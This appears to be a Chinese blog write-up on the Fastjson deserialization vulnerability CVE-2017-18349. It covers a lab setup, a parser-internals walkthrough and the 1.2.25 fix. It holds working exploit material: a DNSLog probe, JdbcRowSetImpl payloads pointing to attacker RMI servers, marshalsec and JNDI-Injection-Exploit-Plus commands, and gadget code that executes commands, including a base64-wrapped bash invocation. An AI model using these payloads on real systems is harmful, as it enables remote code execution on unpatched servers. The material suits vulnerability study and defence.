Fastjson漏洞之CVE-2017-18349

前言:

        要想理解漏洞原理,首先看看Fastjson是什么,具体用来做什么才能更好的找到可以利用的场景:

Fastjson 是一个由阿里巴巴开发的 Java 语言实现的高性能 JSON 解析器和生成器。它具有以下特点:

  1. 快速:Fastjson 在序列化和反序列化 JSON 数据方面表现出色,在性能方面优于其他主流 JSON 处理库。

  2. 灵活:Fastjson 支持将 Java Bean 直接转换为 JSON 字符串,也支持将 JSON 字符串直接转换为 Java Bean。它还支持自定义序列化和反序列化规则。

  3. 功能强大:Fastjson 提供了丰富的 API,支持复杂的 JSON 操作,如查询、修改、删除等。

  4. 广泛应用:Fastjson 被广泛应用于阿里巴巴集团内部的众多项目中,并得到了良好的评价。

使用 Fastjson 的基本步骤如下:

        添加 Fastjson 依赖到项目中::

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.78</version>
</dependency>

序列化Java对象为JSON字符串:

User user = new User("John", 30);
String json = JSON.toJSONString(user);

反序列化JSON字符串为Java对象:

String jsonStr = "{\"name\":\"John\",\"age\":30}";
User user = JSON.parseObject(jsonStr, User.class);

使用 Fastjson 提供的丰富 API 进行复杂的 JSON 操作:

JSONObject jsonObject = JSON.parseObject(jsonStr);
String name = jsonObject.getString("name");
int age = jsonObject.getInteger("age");

一般在处理前端数据的时候会用到fastjson,比如用户上传的表单等,后台处理的时候可以使用fastjson进行处理,非常的方便快捷

搭建漏洞环境

下面我们自己搭建一个测试环境,我使用的是springMVC搭建,具体的spring创建过程可以自己查找,这里就不多做介绍,下面介绍下测试代码:

首先是处理前端请求的主函数:

    //设置请求路的径  规定请求的方式是post@RequestMapping(value = "/show.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式public ModelAndView show(){ModelAndView mv = new ModelAndView();//经过InternalResourceViewResolver对象处理后前缀加上后缀就变为了:    /jsp/team/update.jspmv.setViewName("/index");//要经过Springmvc的视图解析器处理,转换成物理资源路径。return mv;}@RequestMapping("/test.do")public ModelAndView testFastJSON(@RequestBody String jsonStr) {ModelAndView mv = new ModelAndView();//java.lang.Runtime// 使用FastJSON解析请求中的JSON数据JSONObject jsonObject = JSON.parseObject(jsonStr);String name = jsonObject.getString("name");int age = jsonObject.getInteger("age");// 创建响应对象Map<String, Object> response = new HashMap<>();response.put("message", "Hello, " + name + "! You are " + age + " years old.");System.out.printf(JSON.toJSONString(response));mv.addObject("backinfor", JSON.toJSONString(response));mv.setViewName("/jsp/show");// 使用FastJSON将响应对象序列化为JSON字符串return mv;}

前端代码index.jsp:

<!DOCTYPE html>
<html>
<head><title>FastJSON Test</title><script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body><h1>FastJSON Test</h1><button id="testButton">Click me</button><div id="result"></div><script>$(document).ready(function() {$('#testButton').click(function() {$.ajax({type: "POST",url: "/test.do",data: JSON.stringify({name: "John", age: 30}),contentType: "application/json; charset=utf-8",dataType: "json",success: function(data) {$('#result').text(data.message);},error: function(xhr, status, error) {console.error(error);}});});});</script>
</body>
</html>

前端代码show.jsp

${backinfor}

pom.xml添加fastjson包,这里使用1.2.24版本:

        <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>

运行下看下效果:

看下数据包:

漏洞复现: 

下面先针对漏洞进行复现,使用poc如下:

{"name":{"@type":"java.net.Inet4Address","val":"g17myc.dnslog.cn"},"age":30
}

发送成功:

可以看到DNSLOG平台获取到了对应的访问信息,证明确实存在漏洞,至于为什么是访问了两次,后面再解释:

漏洞分析:

网上很多教程只将利用,从来不关心漏洞的原理,用一下能成功就行了,那也太没意思了,这里顺带分析下对应的漏洞原理,这里我们要再项目里添加一个新的java文件,来方便理解:

package org.example.controller;import java.io.IOException;
import java.sql.SQLException;public class mytest {public void noSet(String dsName){System.out.printf(dsName);}public void setExecmy(String dsName){System.out.printf(dsName);}public void setType(String type){System.out.printf(type);}public void setDataSourceName(String dsName) throws SQLException {System.out.printf(dsName);}public mytest(){try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {throw new RuntimeException(e);}}
}

 发送如下数据包:

{"name":{"@type":"org.example.controller.mytest","noSet":"noSet","execmy":"execmy","Type":"Type","dataSourceName":"dataSourceName"},"age":30
}

很简单就是测试如何调用到我们自己编写的代码中去,下面就列举一些比较重要的点,其他地方可以自行调试:

首先我们会进入主函数:

com.alibaba.fastjson.parser.DefaultJSONParser的parseObject

再scanSymbol处获取对应的json属性值:

进入com.alibaba.fastjson.parser.JSONLexerBase的scanSymbol方法:

循环获取我们要处理的json的属性值:

然后回到parseObject主函数,这里会判断我们的属性值是否等于@type,如果等于则进入循环:

并且通过如下语句获取到我们type中设置的类方法:

Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

由于我们上一步获取到了对应的clazz,下面我们要对具体的class进行处理,进入到如下方法:

下面要进入一个很有意思的地方,针对反射的处理:

com.alibaba.fastjson.parser.createJavaBeanDeserializer方法生成javaBean

这里我们会根据我们添加的类生成一个反射表来进行后面的调用,具体的生成方法再build中,这里使用asmEnable进行判断,如果是相同的类则不进入,仅对第一次进入的类进行生成:

下面进入到具体的生成方法:

com.alibaba.fastjson.util.build方法

首先会获取指定类中的所有方法,这里可看到其中包含我们刚才添加类中的四个方法另外还有一些基础方法

然后获取到对应的方法名后会判断是否存在set,如果存在则提取出除了set以外的字符:

最后执行如下代码将匹配到的方法添加到接口列表中

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);

执行完成后查看任意反射列表,可以看到我们设置的方法,为后续反射提供了条件:

然后回到主函数后执行,实例化我们的类:

thisObj = deserializer.deserialze(this, clazz, fieldName);

示例化完成后会处理其他参数,会进入到smartMatch方法中:

com.alibaba.fastjson.parser.deserializer.smartMatch

如果在第一步匹配的fieldDeserializer为空,则会进行多轮匹配,具体的匹配规则后续进行研究,感觉可以用来作为绕过的方案:

 其中主要通过this.getFieldDeserializer(key);来进行反射匹配,当我们参数中存在execmy,会对应匹配到setExecmy方法:

 然后就要根据fieldDeserializer进入指定的流程,如果fieldDeserializer不为空,则会反射到对应的方法中

com.alibaba.fastjson.parser.deserializer.parseField方法

具体的反射过程如下:

最后进入setValue方法中反射调用指定方法:

com.alibaba.fastjson.parser.deserializer的setValue方法

对应的参数值:

然后就进入了我们自己编写的代码中执行。

上述大概的流程我们已经走完了,漏洞也很明显了就是没有对@type内容进行校验,进而导致的问题,下面我们针对能触发dnslog的 java.net.Inet4Address进行简单分析,看看是如何触发:

这里需要注意,fastjson中会针对部分类进行特殊处理,当我们使用java.net.Inet4Address的时候会触发:

com.alibaba.fastjson.util的get方法

可以看到对应的value是MiscCodec,即:

com.alibaba.fastjson.serializer.MiscCodec的deserialze

对应的this.buckets列表中可以看到内置的反射方法:

 然后执行thisObj = deserializer.deserialze(this, clazz, fieldName);进入MiscCodec的deserialze方法中,然后执行InetAddress.getByName(strVal),我们的dnslog平台就收到了第一个请求

然后进入代码String name = jsonObject.getString("name");调用的toString是java.net.Inet4Address的toString方法:

然后这里又触发了第二次DNSLOG平台的访问 

 由此我们就完整的分析了漏洞的成因和为何触发了对DNSlog平台的访问

漏洞利用:

利用方法为可以加载任意的类,如果其中带有set方法名的,只要参数中带有对应相同的方法名就会调用到对应的set方法,基于这个目前比较常见的就是使用RMI或者ldap注入

poc如下:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.5.99:9999/mytest","autoCommit":true},"age":30
}

先看下是如何触发的,首先我们使用@type使反射调用com.sun.rowset.JdbcRowSetImpl方法,然后会调用setDataSourceName方法和setAutoCommit方法,看下对应的方法

 可以看到调用了conn = connect();,查看其内部方法,可以看到其调用了lookup方法触发了rmi漏洞:

下面我们尝试执行我们自己编写的恶意代码,代码如下:

public class mytest {public mytest() throws Exception{try {String var0 = "calc";Runtime.getRuntime().exec(var0);} catch (Exception var1) {var1.printStackTrace();}System.out.println();}static {System.out.println("run calc");}
}

然后使用命令javac mytest.java编译为class文件,使用marshalsec搭建RMI服务器:

https://github.com/mbechler/marshalsec
mvn clean package -DskipTests

然后使用如下命令启动RMI服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.99:1234/#mytest" 9999

然后使用如下poc:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.5.99:9999/mytest","autoCommit":true},"age":30
}

这里需要注意高版本的jdk环境会禁止加载远程class

com.sun.naming.internal.VersionHelper12

默认为flase,无法加载远程class文件,但是如果是低版本的java环境可以直接执行:

高版本的可以进行绕过,但是对环境要求较高,需要环境中有对应的jar包,下面我们自己搭建一个rmi的服务器,来进行演示:

服务器代码如下:

package org.example;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class Main {public static void main(String[] args) throws Exception {try{Registry registry = LocateRegistry.createRegistry(1088);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));//            ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//            ref.add(new StringRefAddr("forceString", "x=parseClass"));
//            ref.add(new StringRefAddr("x", "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(clac)\n})\ndef x\n"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("calcaa", referenceWrapper);} catch (Exception e) {System.err.println("Server exception: " + e.toString());e.printStackTrace();}}
}

 服务器监听1088端口,设置poc如下:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.5.99:1088/calcaa","autoCommit":true},"age":30
}

发送数据包后触发fastjson漏洞远程访问我们1088的远程rmi服务器,进而触发漏洞执行命令弹出计算器,另外网上还有四种绕过代码如下:

    /** Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because of javax.el.ELProcessor.*/public ResourceRef execByEL() {ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", String.format("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +"\"java.lang.Runtime.getRuntime().exec('%s')\"" +")",this.command)));return ref;}/** (GroovyClassLoader) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.*/public ResourceRef execByGroovy1() {ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);ref.add(new StringRefAddr("forceString", "x=parseClass"));ref.add(new StringRefAddr("x", String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n",this.command)));return ref;}/** (GroovyShell) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.*/public ResourceRef execByGroovy2() {ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);ref.add(new StringRefAddr("forceString", "x=evaluate"));ref.add(new StringRefAddr("x", "'bash -c {echo," +Base64.getEncoder().encodeToString(this.command.getBytes()) +"}|{base64,-d}|{bash,-i}'.execute()"));return ref;}/** Need : WebSphere v6-v9, file content will stop util '#' or '?' or EOF.*/public javax.naming.Reference readfileByWebsphere() {javax.naming.Reference ref = new Reference("ExploitObject","com.ibm.ws.webservices.engine.client.ServiceFactory", null);ref.add(new StringRefAddr("WSDL location", this.codebase+"wsdl/list.wsdl"));ref.add(new StringRefAddr("service namespace","xxx"));ref.add(new StringRefAddr("service local part","yyy"));return ref;}

 读者可以自己搭建服务器进行测试,另外可以使用JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

 执行命令如下:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar  -C "calc" -A "127.0.0.1"

 执行后可以看到可以选用的攻击载荷和对应的地址:

使用的时候只需要选择使用的负载就行,如使用rmi的加载本地文件执行命令的可以使用如下poc:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/localExploitel","autoCommit":true},"age":30
}

 漏洞修复:

>=1.2.25后进行了修复,主要进行两处校验,校验函数为

com.alibaba.fastjson.parser.checkAutoType

引入了autoTypeSupport,如果设置允许则会跳过第二步校验,返回类进行反射,

默认为false,这个时候会进入第二步过滤,如果包含以下22个任一类就会触发异常:

但是java.net.Inet4Address并不在其中,就是说我们还是可以使用dnslog确定网站是否使用fastjson模块,至于如何利用,修复是使用了黑名单的方式进行防御,那么就一定有绕过的方法,具体如何绕过,那就看所处环境里有没有可以利用的代码了 。

漏洞的原理还是较为简单,但是个人感觉其防御采用黑名单的方式还是存在隐患,如果拿到对应服务器的源代码,对源代码审计找到可以利用的函数,即可通过fastjson的rmi或ldap进行利用,并且测试中还是可以利用java.net.Inet4Address来判断服务器是否使用了fastjson来处理json数据,存在隐患。

CVE-2022-25845就是针对CVE-2017-18349的升级版,可以绕过checkAutoType校验,将autoTypeSupport设置为true,具体的后续会进行讲解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/331811.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

接口测试基础

Postman断言 1、Postman断言介绍 l 作用&#xff1a;让Postman工具代替人工 自动判定 预期结果和实际结果是否一致。 2、Postman断言——响应状态码断言 l 模板名称&#xff1a;Status code: Code is 200 l 模板内容&#xff1a; 2、Postman断言——包含指定字符串断言 …

在Linux上面部署ELK

注明&#xff1a;一下的软件需要自己准备 一、准备环境&#xff1a; 1.两台elasticsearch主机4G内存 2.两台elasticsearch配置主机名node1和node2(可以省略) #vim /etc/hostname #reboot 3. 两台elasticsearch配置hosts文件 #vim /etc/hosts 192.168.1.1 node1 192…

安卓开发:相机水印设置

1.更新水印 DecimalFormat DF new DecimalFormat("#"); DecimalFormat DF1 new DecimalFormat("#.#");LocationManager LM (LocationManager)getSystemService(Context.LOCATION_SERVICE); LM.requestLocationUpdates(LocationManager.GPS_PROVIDER, 2…

《欢乐钓鱼大师》辅助:新手钓鱼全新攻略大全!

《欢乐钓鱼大师》是一款充满趣味和挑战的钓鱼游戏。在游戏中&#xff0c;玩家不仅可以体验钓鱼的乐趣&#xff0c;还可以通过不同的钓鱼竿和鱼卡来提升自己的钓鱼技能。为了帮助新手和老玩家更好地体验游戏&#xff0c;本文将为您提供详细的游戏攻略。 1. 游戏目标 在《欢乐钓…

一个人应该怎么操作抖音小店呢?店铺操作流程给你讲解清楚!

大家好&#xff0c;我是电商小V 现在入驻抖音小店的有很多新手&#xff0c;新手最关心的就是一个人应该如何操作抖音小店&#xff0c;操作抖音小店需要做好哪几步呢&#xff1f;关于这个问题咱们就来详细的讲解一下&#xff0c; 第一点&#xff1a;开店 开店是做店的第一步&…

【资讯】5月巴塞罗那,东胜物联边缘计算网关亮相IOTSWC AWS展台

2024年5月21-23日&#xff0c;物联网解决方案世界大会 IOT SWC 在巴塞罗那举行&#xff0c;这是数字化转型趋势和颠覆性技术的顶级盛会。 作为AWS的硬件合作伙伴&#xff0c;东胜物联网边缘计算网关DSGW-210将在AWS展台1号馆展出&#xff0c;欢迎大家前来参观。 此次东胜在AW…

FPGA之tcp/udp

在调试以太网的过程中&#xff0c;考虑了vivado IP配置(管脚、reset等)&#xff0c;SDK中PHY芯片的配置(芯片地址、自适应速率配置等)&#xff0c;但是&#xff0c;唯独忽略了tcp/udp协议&#xff0c;所以在ping通之后仍无法连接。 所以现在来学习一下tcp与udp的区别 ---- 为什…

.NET 一款内部最新的免杀WebShell

01阅读须知 此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等&#xff08;包括但不限于&#xff09;进行检测或维护参考&#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失&#xf…

勒索软件分析_Conti

0. Conti介绍 勒索软件即服务&#xff08;Ransomware as a Service&#xff0c;RaaS&#xff09;变体 Conti 推出还不到两年&#xff0c;已经进行了第七次迭代。Conti被证明是一种敏捷而熟练的恶意软件威胁&#xff0c;能够自主和引导操作&#xff0c;并具有无与伦比的加密速度…

等保2.0看这一篇就够了

一、等级保护介绍 1.1什么是等级保护 网络安全等级保护是指对国家重要信息、法人和其他组织及公民的专有信息以及信息和存储、传输、处理这些信息的信息系统分等级实行安全保护&#xff0c;对信息系统中使用的信息安全产品实行按等级管理&#xff0c;对信息系统中发生的信息安…

2024年云南特岗教师报名流程,超详细,明天就开始报名哦!

2024年云南特岗教师报名流程&#xff0c;超详细&#xff0c;明天就开始报名哦&#xff01;

Android四大组件 Broadcast广播机制

一 概述 广播 (Broadcast) 机制用于进程或线程间通信&#xff0c;广播分为广播发送和广播接收两个过程&#xff0c;其中广播接收者 BroadcastReceiver 是 Android 四大组件之一。BroadcastReceiver 分为两类&#xff1a; 静态广播接收者&#xff1a;通过 AndroidManifest.xm…

SQL——SELECT相关的题目

目录 197、上升的温度 577、员工奖金 586、订单最多的客户 596、超过5名学生的课 610、判断三角形 620、有趣的电影 181、超过经理收入的员工 1179、重新格式化部门表&#xff08;行转列&#xff09; 1280、学生参加各科测试的次数 1068、产品销售分析I 1075、项目员工I …

Docker化Spring Boot3应用:从镜像构建到部署

随着容器化技术的发展&#xff0c;越来越多的应用采用了容器化部署的方式。容器化部署极大地减少了因部署环境不同带来的差异&#xff0c;实现了一次构建、随处运行的效果。此外&#xff0c;容器化还具有版本管理、快速启动、持续集成等优点。今天&#xff0c;我们将介绍如何在…

C++进阶之路:何为拷贝构造函数,深入理解浅拷贝与深拷贝(类与对象_中篇)

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

看这两位东北圣女美吗?如何描写美女的大长腿?

看这两位东北圣女美吗&#xff1f;如何描写美女的大长腿&#xff1f; 最近署名为懂球娘娘的一篇描写东北圣女的文章火了&#xff0c;文中描述了海棠朵朵与辛芷蕾这两位娇媚动人的角色。其美艳动人的形象和魅力四溢的描写让人为之倾倒。 这种通过文字展现人物魅力的能力让人佩服…

【PostgreSQL支持中文的全文检索插件(zhparser)】

PostgreSQL本身是支持全文检索的&#xff0c;提供两个数据类型&#xff08;tsvector,tsquery&#xff09;&#xff0c;并且通过动态检索自然语言文档的集合&#xff0c;定位到最匹配的查询结果。其内置的默认的分词解析器采用空格进行分词&#xff0c;但是因为中文的词语之间没…

Day06:Flex 布局

目标&#xff1a;熟练使用 Flex 完成结构化布局 一、标准流 标准流也叫文档流&#xff0c;指的是标签在页面中默认的排布规则&#xff0c;例如&#xff1a;块元素独占一行&#xff0c;行内元素可以一行显示多个。 二、浮动 1、基本使用 作用&#xff1a;让块元素水平排列。 …

Linux——进程信号

目录 一、信号的理解 二、信号的种类 2.1 标准信号 (1-31) 2.2 实时信号 (通常是34及以上) 三、信号的产生 3.1 用户通过终端产生信号 3.1.1 signal 函数 3.1.2 demo 测试 3.1.3 demo 现象 3.2 通过系统函数产生信号 3.2.1 demo 测试 3.3 由软件条件产生信号 3.3.1…

uni-app App端实现文字语音播报(Ba-TTS)

前言 最近在遇到消息提示语音播放出来&#xff0c;查了一圈文档发现并没有自带api 后面想起支付宝收钱播报&#xff0c;不受限与系统环境和版本环境&#xff08;后面查阅他是音频实现的&#xff09; 如果是由安卓端需要语音播放功能-直接使用Ba-TTs救急&#xff08;需要付费2…